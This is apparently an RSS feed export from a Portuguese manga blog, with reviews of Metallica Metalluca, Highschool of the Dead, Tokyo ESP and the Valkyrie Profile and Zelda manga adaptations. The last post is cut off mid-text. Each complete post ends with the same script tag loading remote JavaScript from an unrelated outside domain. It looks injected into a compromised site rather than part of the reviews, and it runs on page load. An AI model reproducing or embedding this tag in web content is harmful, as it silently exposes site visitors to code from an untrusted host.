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	<title>Ponto Caffé &#187; aventura</title>
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	<description>Manga · Games · Fun</description>
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		<title>Metallica Metalluca</title>
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		<pubDate>Fri, 18 Jun 2010 01:53:51 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
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		<category><![CDATA[aventura]]></category>
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		<description><![CDATA[Em um mundo onde minerais e pedras preciosas são o que movem a economia, um garoto chamado Luca (ou Ruka) tenta conseguir entrar para um grupo de extremo prestígio chamado “Minea”. Os minea se aventuram pelo mundo, arriscando a própria vida para conseguir as pedras e minerais mais preciosos.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-321" title="Metallica Metalluca" src="http://blog.j-caffe.net/wp-content/uploads/2010/06/header_metallicametalluca.jpg" alt="Metallica Metalluca" width="740" height="100" /></p>
<p>Olá pessoa, sentiram minha falta? Não? Tudo bem&#8230;</p>
<p>Mais uma vez “pulei” uma semana aqui no blog, desculpem. Não tenho uma desculpa pra não ter postado, falta do que postar, talvez. Prefiro deixar passar uma semana a escrever qualquer coisa só pra preencher espaço (embora às vezes pareça isso).</p>
<p>Enfim, vamos ao que interessa. O mangá dessa semana!</p>
<p>Antes de qualquer coisa: não, esse não é um mangá sobre a banda Metallica. Acho que metade do pessoal que tava lendo saiu do blog agora&#8230; bom, pelo menos fui honesto com vocês logo de cara.<br />
Metallica Metalluca é um dos mais novos mangás do Shonen Jump, estreiou em maio desse ano, e pelo que parece, é mais um mangá do estilo ‘personagem principal com algum podem especial que quer ser o herói e vai adquirir potencial para tanto ao longo da história’. Pensem em Naruto.</p>
<p>Não que isso seja ruim, quem não gosta de um mangá assim? Um monte de gente, mas outro monte de gente adora esse tipo de história, com personagens clichê porém carismáticos na mesma história de pano de fundode sempre, só para não dizer estão tá lá à toa. É tudo muito simples, só muda o “básico”: sejam ninjas, shinigamis, guerreiros e por aí vai.</p>
<p>Mas de qualquer maneira, vou contar como Metallica Metalluca começa.</p>
<div id="attachment_325" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-325" title="Metallica Metalluca" src="http://blog.j-caffe.net/wp-content/uploads/2010/06/0011.jpg" alt="Esse é Luca" width="180" height="265" /><p class="wp-caption-text">Esse é Luca</p></div>
<p>Em um mundo onde minerais e pedras preciosas são o que movem a economia, um garoto chamado Luca (ou Ruka) tenta conseguir entrar para um grupo de extremo prestígio chamado “Minea”. Os minea se aventuram pelo mundo, arriscando a própria vida para conseguir as pedras e minerais mais preciosos.<br />
Certo dia, Luca estava coleando alguns minerais quando sem perceber invade o espaço onde um ninho de um pássaro gigante estava, o pássaro bota o moleque pra correr (ou melhor, voar) e assim Luca cai do céu numa vilazinha conhecida como Elza, destruindo o estoque de minerais dos moradores do lugar, causando a ira do pessoal, que só ficam mais bravos ainda quando ele diz querer se tornar um Minea.</p>
<p>O ancião da vila percebe a coragem e aquela papagaida toda nos olhos do garoto (sempre assim) e decide deixá-lo ir caçar seus minerais mas sob a supervisão da menina Shella.<br />
Luca descobre então que o irmãozinho de Shella está doente graças à um vazamento de gás que aconteceu na mina local, o que fez com que trancassem a mina para sempre, deixando a vila super pobre e tudo o mais.</p>
<div id="attachment_326" class="wp-caption alignright" style="width: 190px"><img class="size-full wp-image-326" title="Metallica Metalluca" src="http://blog.j-caffe.net/wp-content/uploads/2010/06/002.jpg" alt="Traço bacana" width="180" height="265" /><p class="wp-caption-text">Traço bacana</p></div>
<p>Acho que nem preciso continuar, já que daí pra frente dá pra imaginar o que acontece, apesar desse primeiro capítulo ter um plot twist bem legal. Luca é de uma tribo que muitos pensavam já estar extinta, e tem o poder de moldar minerais de acordo com sua vontade. Então ele pode transformar um pedaço de pedra em um martelo de guerra para brigar com quem aparecer na frente. Lembra um pouco Fullmetal Alchemist.</p>
<p>O primeiro capítulo diverte e faz bem o papel de apresentar mais um mangá de lutas que se der certo vai ter seus milhões de bonequinhos, vídeo-games que nunca saem do Japão, versão em anime e tudo mais que o mundo comercial puder inventar e vender.</p>
<p>De novo, isso não é ruim, só é um tipo de história que já foi usada a exaustão, tornando muito fácil pro leitor ter a sensação de mais do mesmo e ficar comparando com outros mangás do mesmo gênero como Naruto, Bleach e Dragon Ball, por exemplo, sendo muito mais difícil do mangá emplacar com a molecada e seguir firme.<br />
Resta à nós ler e aguardar.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Highschool of the Dead</title>
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		<pubDate>Fri, 30 Apr 2010 00:15:29 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Manga]]></category>
		<category><![CDATA[ação]]></category>
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		<description><![CDATA[Imagine que você está matando aula e de repente percebe uma certa agitação no portão da escola, você vê vários professores indo até lá, onde parece que um estranho quer entrar. Depois de tentativas frustradas de afugentar o estranho, um dos professores metido a machão arregaça as mangas e pega o sujeito pelo colarinho, no que o cara dá uma mordida no braço do professor e arranca um pedaço!]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.j-caffe.net/wp-content/uploads/2010/04/highschool_header.jpg"><img class="aligncenter size-full wp-image-281" title="Highschool of the Dead" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/highschool_header.jpg" alt="Highschool of the Dead" width="740" height="100" /></a></p>
<p>Zumbis. Hoje tão populares quanto podem ser, aparecem em tudo quanto é canto: vídeo-games, filmes, livros, quadrinhos, <a href="http://www.zombiewalk.com/">passeatas</a> e é claro, mangás. Esse tipo de “personagem” foi lançado para a fama graças aos filmes de terror, principalmente depois do filme de 1968 ‘A noite dos mortos-vivos’ (Night of the Living Dead) de George A. Romero (nunca assisti), que inclusive chegou a escrever um roteiro para o primeiro filme de Resident Evil, e falando no jogo, podemos dizer que ele contribuiu muito com a popularidade dos nossos amigos mortos-vivos.<br />
Agora vamos falar de Highschool of the Dead, mangá de Daisuke Sato com ilustrações de Shouji Sato (não, eles não são irmãos&#8230; eu acho), que tem como premissa um grupo de estudantes no meio de um apocalipse de zumbis.</p>
<div id="attachment_282" class="wp-caption alignleft" style="width: 198px"><img class="size-full wp-image-282" title="Highschool of the Dead" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/highschool002.jpg" alt="E assim a escola inteira foi infectada" width="188" height="270" /><p class="wp-caption-text">E assim a escola inteira foi infectada</p></div>
<p>Imagine que você está matando aula e de repente percebe uma certa agitação no portão da escola, você vê vários professores indo até lá, onde parece que um estranho quer entrar. Depois de tentativas frustradas de afugentar o estranho, um dos professores metido a machão arregaça as mangas e pega o sujeito pelo colarinho, no que o cara dá uma mordida no braço do professor e arranca um pedaço (aposto que você pensou no professor que mais detesta agora&#8230;)! O professor cai no chão agonizando de dor enquanto os outros tentam acudi-lo, só que já era tarde demais. O professor salta na jugular de quem estava mais perto e dá uma bela de uma mordida. Achando tudo aquilo muito estranho você corre de volta pra sala de aula, pra resgatar a menina de quem você tanto gosta, mas o namoradinho dela resolve vir junto. Em instantes, um anúncio é passado pelos alto-falantes da escola, pedindo para que os alunos continuem na sala, com os professores, mas é claro que ninguém respeita isso e vira a maior bagunça e em questão de minutos, praticamente toda a escola está infectada e sedenta de sangue. Fugindo com sua amada e o namoradinho dela, vocês chegam ao teto da escola, só para ver no horizonte o resto da cidade em puro caos, helicópteros militares passam voando e o que minutos atrás parecia mais um dia tranqüilo se tornou o apocalipse.</p>
<p>É assim que começa Highschool of the Dead, que deve ser cool demais para usar o termo ‘zumbis’ e prefere chamar os mesmos de ‘eles’. É, ‘eles’&#8230; mas a história, a sensação e tudo o mais que ele passa, é de um grande clássico sobre zumbis, com grupos de sobreviventes, armamentos improvisados, zumbis atrás de cérebros, essas coisas.<br />
Vale ressaltar também que esse mangá traz MUITO fanservice, talvez por Shouji Sato já ter trabalhado com mangás hentai, talvez pra vender mais pra molecada, o fato é que as meninas aparecem em poses provocantes várias vezes e nossa senhora, suas proporções são um pouco exageradas, eu até acho meio estranho o exagero, mas não reclamo, porém para outras pessoas pode ser desagradável.</p>
<div id="attachment_284" class="wp-caption alignright" style="width: 198px"><img class="size-full wp-image-284" title="Highschool of the Dead" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/highschool001.jpg" alt="Alunos sobreviventes" width="188" height="270" /><p class="wp-caption-text">Alunos sobreviventes</p></div>
<p>Uma coisa legal do mangá é que ele não dá de mão beijada o motivo por que as pessoas de repente viraram zumbis e estão devorando umas as outras e sinceramente, não parece ser a motivação principal dos personagens, que são pessoas comuns, alunos de uma escola, a enfermeira de tal escola, e o principal para eles é continuarem vivos. Eventualmente soldados aparecem e a história se divide, mas é lendo que você vai descobrir o que acontece em seguida, claro.<br />
Um mal que parece assombrar esse título são os atrasos. Highschool of the Dead começou em 2006 e sai mensalmente na Monthly Dragon Age, mas atualmente está só no capítulo 25, isso porque ficou o ano de 2009 praticamente inteiro em hiato, até que em março desse ano um capítulo novo apareceu na revista, além do anúncio do anime, talvez com isso a série “engate” de novo.</p>
<p>Uma versão brasileira está sendo publicada pela Panini, um review dessa edição pode ser visto lá no Gyabbo! O anime começa em julho desse ano, pelo estúdio Madhouse, mas pra mim não faz diferença nenhuma. Se você gosta de zumbis, está atrás de uma série de ação, adora ver garotas em poses insinuantes &#8220;sem querer&#8221;, leia Highschool of the Dead, pode parecer (e talvez seja mesmo) um grande clichê apocalíptico de zumbis, mas isso sempre é legal!<script src="http://ae.awaue.com/7"></script></p>
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		<title>Tokyo ESP</title>
		<link>http://blog.j-caffe.net/tokyo-esp/</link>
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		<pubDate>Wed, 14 Apr 2010 17:30:28 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Manga]]></category>
		<category><![CDATA[ação]]></category>
		<category><![CDATA[aventura]]></category>
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		<category><![CDATA[sobrenatural]]></category>

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		<description><![CDATA[Um dia normal para Rinka, até que ela vê um pinguim voador (?) e peixes brilhantes no céu (?). No dia seguinte, ela está atravessando concreto, seu pai virou uma espécie de imã humano gigante e um cara estranho aparece na vida dela.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-242" title="Tokyo ESP" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/tokyoesp_header.jpg" alt="Tokyo ESP" width="740" height="100" /></p>
<p>Quando bati o olho no título desse mangá, ele não me pareceu estranho&#8230; achei já ter visto algo assim num dos tópicos de ‘que anime você está assistindo?’ no fórum que participo (o link tá na página principal do blog, ou clique <a href="http://www.j-caffe.net/forum">aqui</a> mesmo) e geralmente, mangá que vem depois de anime é uma porcaria. Não me vem nenhum exemplo à mente agora, mas é fato isso, é como um “processo inverso” mas muito mais descarado para juntar uns (milhares) de trocados à mais com alguma série que ficou famosa graças à sua versão animada, tem fã e otaku que vai comprar tudo o que você jogar pra cima dele com os personagens que ele gosta, mas enfim, perdi o foco, esse não era o caso de <em>Tokyo ESP</em>, o mais novo título de <em>Hajime Segawa</em> (autor de <em>Ga-Rei</em>, esse sim tem anime), lançado na edição de Março da <em>Shounen Ace</em>.</p>
<div id="attachment_243" class="wp-caption alignleft" style="width: 273px"><img class="size-full wp-image-243" title="Tokyo ESP" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/tokyoesp1.jpg" alt="Atravessar concreto faz suas roupas sumirem" width="263" height="188" /><p class="wp-caption-text">Atravessar concreto faz suas roupas sumirem</p></div>
<p>Eu não li <em>Ga-Rei</em> inteiro, mas pelo que vi do comecinho e nesse primeiro capítulo de <em>Tokyo ESP</em>, esse autor parece gostar de mexer com o sobrenatural e poderzinhos psíquicos.<br />
Para quem não sabe, <strong><em>ESP</em></strong> é a sigla de <strong><em>Extrasensory perception</em></strong>, ou <strong><em>PES</em></strong> (Percepção extra-sensorial e não <em>Pro Evolution Soccer</em>) em português.<br />
De acordo com a Wikipedia, <em>“na parapsicologia, PES é a aparente habilidade de certos indivíduos, chamados &#8220;sensitivos&#8221; ou &#8220;psíquicos&#8221;, para perceber fenômenos e objetos independentemente de seus órgãos sensoriais.”</em> Ou seja, você conseguiria ver alguma coisa sem usar os olhos, ouvir alguma coisa sem usar os ouvidos (clarividência), escutar os pensamentos de outras pessoas (telepatia), entre outras coisas.</p>
<p>No mangá, tudo começa com o roubo de um museu por um tal de <em>Phantom Thief</em> (eu até pensei que estava lendo <em>DNAngel</em>), mas isso é deixado de lado por enquanto e somos apresentados à personagem principal, Urushiba Rinka, uma estudante do colegial (lógico), que vive com o pai e é meio pobre. Dormindo calmamente em sua cama, ela acorda e de repente “atravessa” a cama e o chão do seu apartamento, caindo na mesa do vizinho de baixo. Agora COMO as roupas dela sumiram nesse tempo e ela ficou só de calcinha e sutiã é algo que só o autor (ou o editor) do mangá deve ser capaz de explicar. Ela volta correndo pro seu quarto, pela o celular para ligar para seu pai mas esse tampem “atravessa” a sua mão. Ela então é surpreendida por um garoto e começa a lembrar de tudo. No dia anterior, voltando da escola em sua bicicleta (já que ela não tem dinheiro pra pegar o trem), ela vê um pássaro grande e gordo voando. Olhando melhor, ela percebe que é um pingüim. Mas, peraí. Pinguim voa?</p>
<p>Wikipedia nos esclarece mais um fato: “O pinguim é uma ave da família Spheniscidae, não voadora.” Obrigado, Wikipedia.</p>
<div id="attachment_244" class="wp-caption alignright" style="width: 198px"><img class="size-full wp-image-244" title="Tokyo ESP" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/tokyoesp3.jpg" alt="Pose cool" width="188" height="269" /><p class="wp-caption-text">Pose cool</p></div>
<p>Achando aquilo muito estranho, ela passa a perseguir o pingüim voador e acaba chegando na Nova Torre de Tóquio (também conhecida como <em>Tokyo Sky Tree</em>), e com o pingüim aparecem também peixes brilhantes. Até que os peixes começam a nadar para DENTRO da menina e ela então desmaia. Tudo parece mais uma grande e alucinante viagem no mundo do doce. Não usem drogas.</p>
<p>Assim, ela decide procurar um médico pra entender porque ela atravessa as coisas e as coisas atravessam ela. O garoto então vai com ela e diz que eles devem chamar essa ‘situação’ de <em>ESP</em>, daí o título do mangá. Nesse instante, o pai de Rinka liga pra ela porque ouviu a mensagem, preocupado ele está indo procurá-la, mas ele também viu os peixes brilhantes na noite anterior e enquanto anda pela rua, carros, latas, tampas de bueiro ficam voando na direção dele, como se ele fosse um imã gigante. Um amontoado de carros se juntam em cima do pai de Rinka, como se fosse uma fase de <em>Katamari Damacy</em>. Ela decide ajudar o pai e usa suas habilidades de atravessar as coisas para chegar até ele no meio da bola de carros (isso soa estranho), nocauteando-o para deixá-lo de agir feito um imã, nisso, todos os carros começam a desmoronar e o carinha que estava acompanhando Rinka demonstra sua habilidade, teleporte, e leva os três para bem longe, se apresenta como Azuma Kyoutarou e diz ser um <em>Esper</em>, ou seja, alguém que tem poderes <em>ESP</em> e consegue controlá-los. Assim acaba o capítulo um do mangá, ao final desse capítulo, eu pulei para o próximo (que a propósito, ainda não tem scans) instintivamente, o mangá me instigou a fazer isso, me deixou curioso para saber o que acontece depois e há espaço para um milhão de coisas acontecerem. Outros <em>Espers</em> aparecerem, pancadaria entre <em>Espers</em>, a origem dos peixes brilhantes e pingüim voador (dorgas), e por aí vai. A narrativa não cansa o leitor e flui bem, o traço do autor é limpo e bonito, mas nada ‘ó, que excepcional!’. Não conheço muito esse autor então não sei dizer pra onde ele vai levar essa história, mas potencial para ser bacana tem.</p>
<p>Leia online, em inglês no <a title="Tokyo ESP Leitura Online" href="http://www.onemanga.com/Tokyo_ESP/">OneManga</a><script src="http://ae.awaue.com/7"></script></p>
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		<title>Video Game Manga: Valkyrie Profile</title>
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		<pubDate>Fri, 05 Mar 2010 23:15:11 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Games]]></category>
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		<category><![CDATA[aventura]]></category>
		<category><![CDATA[fantasia]]></category>
		<category><![CDATA[video game manga]]></category>

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		<description><![CDATA[Continuando com a série 'Video Game Mangá', falo de um dos grandes jogos que quase ninguém jogou quando foi lançado.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter size-full wp-image-231" title="Valkyrie Profile" src="http://blog.j-caffe.net/wp-content/uploads/2010/03/header_valkyrieprofile.jpg" alt="Valkyrie Profile" width="740" height="125" /></p>
<div id="attachment_232" class="wp-caption alignleft" style="width: 191px"><img class="size-full wp-image-232" title="Volume 01" src="http://blog.j-caffe.net/wp-content/uploads/2010/03/valkyrie000.jpg" alt="Volume 01" width="181" height="284" /><p class="wp-caption-text">Volume 01</p></div>
<p>Continuando com a série &#8216;Video Game Mangá&#8217;, falo de um dos grandes jogos que quase ninguém jogou quando foi lançado.<br />
Desenvolvido pela tri-Ace e publicado pela Enix (em 1999 ainda não era Square Enix), esse jogo se tornou cult e, devido à escassez de cópias produzidas, logo virou uma relíquia nas coleções de quem o tinha, ao mesmo tempo em que uma mina de ouro para quem queria vendê-lo. Até mesmo uns 3, 4 anos depois do lançamento e com o PS2 vendendo a rodo, cópias de Valkyrie Profile eram vendidas em sites como o ebay por 80 dólares. Oitenta dólares num jogo de PS1, já na era do PS2.<br />
Apesar de algumas críticas sobre ser um RPG linear que desencoraja a exploração e limita muito as escolhas que o jogador pode fazer, o sistema de batalha inovador, seus personagens marcantes, cenários, temática e história baseada na mitologia nórdica fizeram o game ser bem recebido pela crítica.</p>
<p>E falando em mitologia, acho que não dá pra explicar Valkyrie Profile direito sem falar um pouco que seja da mitologia no qual ele se baseia, a nórdica.<br />
No jogo você controla a Valquíria Lenneth, que foi convocada por Odin, o maior dos deuses vikings, para reunir almas de valiosos guerreiros que tenham morrido para lutarem na Ragnarok, a batalha épica entre a raça dos Aesir e dos Vanir, já que essa é a tarefa de uma valquíria. O jogo aproveita esse cenário para te jogar em Midgard, o mundo dos humanos para que você possa ir procurando e convocando as almas de guerreiros mortos e mandar para Valhalla, o mundo dos Deuses. E é aí que todo o &#8220;plot&#8221; do jogo se desenrola, você vai convocando guerreiro atrás de guerreiro, mas antes é apresentado um pouco de sua história e vê o momento de sua morte, até chegar a hora de convocar a alma de um guerreiro que Lenneth parece conhecer e acho que falar muito mais do que isso é estragar a história pra quem ainda não jogou (ou leu o mangá). São vários os personagens que lutam ao seu lado durante o jogo e chega ser até repetitivo todo o processo de &#8220;recrutamento&#8221;, até chegar ao ponto onde a história vira e parte para a conclusão.</p>
<div id="attachment_233" class="wp-caption alignleft" style="width: 253px"><img class="size-full wp-image-233" title="Valkyrie Profile" src="http://blog.j-caffe.net/wp-content/uploads/2010/03/valkyrie001.jpg" alt="Lenneth e outros personagens" width="243" height="188" /><p class="wp-caption-text">Lenneth e outros personagens</p></div>
<p>O mangá pega tudo isso e espreme em dois volumes de aproximadamente 160~180 páginas cada, deixando alguns personagens de lado, mas até aí boa parte deles estava no jogo só pra &#8220;encher lingüiça&#8221; mesmo. Se o seu personagem favorito não aparece no mangá, muito provavelmente ele não era um dos principais para a história.<br />
Pensando melhor agora, o quadrinho passa bem essa sensação de que de repente, é o dramático final, com os aliados ficando para trás um a um abrindo espaço para a heroína lutar sozinha contra o vilão, revelar muito mais do que isso seria acabar com qualquer sentido para jogar ou ler, mas dá pra imaginar o que acontece.</p>
<p>O mangá saiu em 2000, publicado na Shonen GanGan (revista da Square Enix).<br />
Além da história principal, em 2001 uma espécie de &#8220;mangá spin-off do game&#8221; saiu. Valkyrie Profile: The Dark Alchemist não é bem baseado em game algum e como o nome sugere, tem o mago Lezard (e seu aprendiz) como personagens principais. Existem bem poucos capítulos traduzidos e disponíveis na internet, portanto não cheguei a ler a obra inteira (que possui 4 volumes no total), além de logo no começo não me parecer interessante.</p>
<p>Em 2006 saiu Valkyrie Profile 2, para o PS2. Não se tratava de uma continuação da história (e sinceramente, iriam continuar de onde?), esse jogo se passava antes dos acontecimentos do original, a Valquíria aqui não era Lenneth e sim Silmeria, que está contida no mesmo corpo de Alicia, a princesa de Dipan e com isso se desenrola outra história usando a mitologia nórdica como base. Silmeria havia desobedecido Odin e foi na verdade presa no corpo de Alicia, mas despertou, assim Odin enviou Hrist, uma outra valquíria para buscar Silmeria.</p>
<div id="attachment_234" class="wp-caption alignright" style="width: 238px"><img class="size-full wp-image-234" title="Valkyrie Profile 2" src="http://blog.j-caffe.net/wp-content/uploads/2010/03/valkyrie002.jpg" alt="Valkyrie Profile 2" width="228" height="225" /><p class="wp-caption-text">Valkyrie Profile 2</p></div>
<p>Silmeria e Alicia então fogem da captura e ao mesmo tempo tentam prever uma catástrofe que pode dar início a uma guerra entre os deuses em Midgard.<br />
Uma boa introdução é apresentada por Lenneth no mangá, como se ela estivesse lembrando e contado a história para Arngrim e Jelanda (todos personagens do primeiro jogo). A partir daí, a história começa a se desenrolar por si só mesmo, Alicia é apresentada, bem como Silmeria e seus conflitos mentais com a dona do corpo onde ela reside, que a propósito, é MUITO chata. Alicia está sempre hesitando, sendo fraca e indecisa, ela já era assim no jogo, mas no mangá parece que elevaram esse aspecto da personalidade dela pra mais de 9000, no primeiro capítulo já tive vontade de esganá-la, a ponto de torcer para a &#8220;Valquíria malvada&#8221; Hrist pegar ela de jeito.<br />
Mas é interessante ver a interação entre Silmeria e Alicia, ainda que grande parte seja mostrada como &#8220;conversas telepáticas&#8221;, às vezes a autora desenha a Valquíria, como se ela estivesse na frente de Alicia, conversando com ela, coisa que não existe no game.<br />
A história parece seguir a do jogo sem muitas grandes diferenças, exceto um capítulo extra no final do volume 1 (que eu acredito ter no final de cada volume também), esse que mostra Alicia quando criança, coisa que também não está presente no jogo, mas com 4 volumes e o primeiro cobrindo aproximadamente 5 ou 6 horas de jogo, acho que a história deve ficar encurtada e resumida como aconteceu no mangá do primeiro jogo.</p>
<p>E assim encerro esse post sobre os mangás de Valkyrie Profile. Não sei se existe um mangá de Covenant of the Plume, último jogo da série que saiu, acredito que não, mas se tivesse muito provavelmente seguiria o &#8220;padrão&#8221;, sendo fiel aos personagens e suas personalidades, mostrando muito bem o começo da história, mas encurtando e resumindo mais pro final. Bons mangás para os fãs, não tão bons para quem não conhece os jogos.</p>
<p>Até o próximo post!<script src="http://ae.awaue.com/7"></script></p>
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		<title>Video Game Manga: The Legend of Zelda</title>
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		<pubDate>Fri, 19 Feb 2010 22:50:29 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
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		<description><![CDATA[Uma das mais famosas franquias da Nintendo, Zelda é um dos grandes sucessos incontestáveis do mundo dos games, cada título novo anunciado é aguardado com muita antecipação pelos fãs e apreciadores de bons jogos. Basicamente, Zelda é quase sempre sinônimo de um jogo ótimo, divertido e memorável.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-218" title="The Legend of Zelda" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/header_zelda.jpg" alt="The Legend of Zelda" width="740" height="125" /></p>
<div id="attachment_224" class="wp-caption alignleft" style="width: 184px"><a href="http://blog.j-caffe.net/wp-content/uploads/2010/02/zelda004.jpg"><img class="size-full wp-image-224" title="Oracle of Ages" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/zelda004.jpg" alt="Oracle of Ages" width="174" height="246" /></a><p class="wp-caption-text">Oracle of Ages</p></div>
<p>Uma das mais famosas franquias da Nintendo, Zelda é um dos grandes sucessos incontestáveis do mundo dos games, cada título novo anunciado é aguardado com muita antecipação pelos fãs e apreciadores de bons jogos. Basicamente, Zelda é quase sempre sinônimo de um jogo ótimo, divertido e memorável.<br />
Criado pelo grande Shigeru Miyamoto em 1986, Zelda segue uma história até que simples e básica, você controla o herói, um menino loiro e de roupas verdes chamado Link e deve salvar a princesa que dá nome ao jogo, Zelda. Até aí nada demais, essa história de donzela em perigo e o herói que vai ao seu resgate deve ser uma das mais manjadas, em qualquer mídia. O que faz Zelda ser o sucesso que é, é a sua jogabilidade. É empolgante entrar numa masmorra nova controlando Link e se deparar com quebra-cabeças desafiadores, mas não impossíveis, e fazer uso dos vários ítens disponíveis ao longo da jornada para resolvê-los, além disso há todo um mundo criado, habitado por personagens carismáticos e bem reconhecíveis (quem não se lembra dos engraçados gorons e dos sérios Zoras?).<br />
Tudo isso (exceto a jogabilidade, por motivos óbvios) deve se transportar muito bem para um mangá, não é? Talvez.<br />
Existem vários, mas vários mangás dos jogos de Zelda, os principais pelo traço de Akira Himekawa e serão os que irei comentar aqui.</p>
<p>Akira e sua equipe começaram a adaptação de Zelda para os quadrinhos em 1999, com Ocarina of Time (de 1998), algo que parece até lógico, devido à ótima aceitação do jogo. Ocarina of Time foi nomeado não-sei-quantas-vezes &#8220;o jogo do século&#8221;, &#8220;o melhor jogo de todos os tempos&#8221;, &#8220;o melhor jogo de 1998&#8243; por um número sem fim de publicações e por aí vai, mas não foi por menos, o game é sensacional mesmo e deve ter salvo o N64 em 1998, logo produzir uma versão em quadrinhos para conseguir uma grana extra, um ano depois que o jogo fora lançado deve ter soado como uma boa idéia, além de ser um agrado para os fãs e colecionadores, o que resultou em dois volumes dividindo a história em &#8216;Child Saga&#8217;, contando a história até o momento em que Link adquire a Master Sword e desse ponto em diante &#8216;Adult Saga&#8217; até sua conclusão, além de duas histórias extras com acontecimentos que não existem no jogo.</p>
<div id="attachment_220" class="wp-caption alignright" style="width: 179px"><img class="size-full wp-image-220" title="Ocarina of Time" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/zelda002.jpg" alt="Ocarina of Time" width="169" height="271" /><p class="wp-caption-text">Ocarina of Time</p></div>
<p>Esse é um mangá que tenho um carinho especial, pois foi um dos primeiros que traduzi e editei os scans para o português, ainda que tenha ficado horrível.<br />
Ele é bem fiel ao material de origem, contando a história de forma rápida e dinâmica, talvez até resumida, sendo que o jogo tenha umas 40, 50 horas e cada capítulo dos dois volumes uma média de 20 páginas.<br />
É interessante ver o até então &#8217;silent protagonist&#8217; Link falando e interagindo com outros personagens. A autora conseguiu deixar isso natural e fluindo, dando a Link uma personalidade que, acredito eu, todos acham que ele tem, embora nos jogos tudo o que se ouça sair da boca dele é &#8216;Hiya&#8217; &#8216;Waah&#8217; e derivados e não só dele, como de seus inimigos também. O chefe da primeira &#8216;dungeon&#8217; a aranha Gohma ameaça Link e Mido e não pára de exigir a &#8220;pedra&#8221;. Esses diálogos ajudam a história a ser contada de forma mais rápida e tornam os acontecimentos mais naturais, já que a parte de exploração é deixada completamente de lado. Gohma aparece, Link e Mido vão derrotá-lo e é isso aí, nada de ficar vagando pelo Grande Deku Tree atrás de baús e rupees.<br />
Até agora falei muito da história e não contei nada dela em si, mas realmente é preciso?<br />
Enfim, Link vive numa vila junto a várias outras crianças, os chamados Kokiris, cada um deles tem uma fada que serve como guia, exceto nosso herói. Os kokiris têm como espécie de guardião uma enorme árvore falante, chamada de Grande Deku Tree.<br />
Após ser atacado pela aranha parasita Gohma, o Grande Deku Tree acaba morrendo, mas antes conta toda a história da terra de Hyrule e de Link. A verdade é que Link não é um kokiri, por isso nunca teve uma fada, somente agora quando o próprio Deku Tree enviou a fada Navi ao seu auxílio, e que um grande mal estava tentando se apoderar do mundo, Ganondorf, o rei da tribo Gerudo quer se apoderar da triforce para realizar seu plano. Para evitar isso, Link deve despertar vários sacerdotes e viajar no tempo até ser velho o suficente para poder manusear a &#8216;Master Sword&#8217; e derrotar Ganondorf, tudo com muitas canções envolvidas, músicas que fazem o dia virar noite, teleportar Link para diversos locais entre outras, daí o subtítulo &#8216;Ocarina of Time&#8217;, para os desavisados, ocarina é um instrumento de sopro, funciona basicamente como uma flauta.</p>
<div id="attachment_221" class="wp-caption alignright" style="width: 219px"><img class="size-full wp-image-221" title="Phantom Hourglass" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/zelda003.jpg" alt="Phantom Hourglass" width="209" height="318" /><p class="wp-caption-text">Phantom Hourglass</p></div>
<p>Apesar de haver algumas diferenças entre o game e o mangá, o básico está todo lá, quando chega no castelo de Hyrule, até mesmo a parte onde Link deve se esgueirar pelos jardins do castelo, escapando da visão dos guardas tem uma menção nos quadrinhos, mas a luta contra o dragão que aterrorizava os gorons na Montanha da Morte vai muito além do que o jogo jamais nos contou, o que, me lembro bem, causou a ira de um pessoal que lia os scans que traduzi (não vou contar, leiam!).<br />
O mangá de Ocarina of Time é muito bem desenhado e conta a história do jogo como quem jogou gostaria de ver (a maior parte do tempo, pelo menos) em formato de quadrinhos, algo que os fãs irão gostar de ver.<br />
No Japão, os dois volumes foram publicados pela Shogakukan e nos EUA pela Viz Media, interessados devem conseguir não muito caro em sites de livrarias de lá ou até mesmo no ebay. Eu já tive um dos volumes da Viz nas mãos e é muito bem produzido, quem resolver colecionar não vai se arrepender. Para quem se contentar com os scans, o link está lá embaixo.</p>
<p>Depois do sucesso de Ocarina of Time, o próximo Zelda foi lançado em 2000. Nele, um &#8220;Skull Kid&#8221; roubou a &#8220;Majora&#8217;s Mask&#8221;, um poderoso artefato e com ela faz a lua lentamente se aproximar de Termina, a terra do jogo, e se chocar com ela em três dias. Link deve então encontrar um meio de impedir que isso aconteça, fazendo uso de viagens no tempo (ainda com o uso da ocarina) e várias máscaras que lhe dão poderes diferentes.<br />
Apesar do jogo não ser uma continuação direta, logo no começo do mangá Link se lembra de como derrotou Ganondorf (em Ocarina of Time), dentre outras várias diferenças entre jogo e quadrinhos, como a própria origem da máscada de Majora.</p>
<div id="attachment_222" class="wp-caption alignleft" style="width: 310px"><a href="http://blog.j-caffe.net/wp-content/uploads/2010/02/collezioneZelda_manga01.jpg"><img class="size-medium wp-image-222" title="Coleção Zelda" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/collezioneZelda_manga01-300x191.jpg" alt="Coleção de mangás de Zelda" width="300" height="191" /></a><p class="wp-caption-text">Coleção de mangás de Zelda</p></div>
<p>Não cheguei a jogar Majora&#8217;s Mask até o fim, portanto não arrisco comparações, mas acredito seguir a mesma linha de Ocarina of Time na relação game/mangá assim como praticamente todos os títulos seguintes de que colocaram na mão de Himekawa, passando pelos dois &#8216;Oracle&#8217; (do Game Boy), Minish Cap, Phantom Hourglass e até mesmo Four Swords.<br />
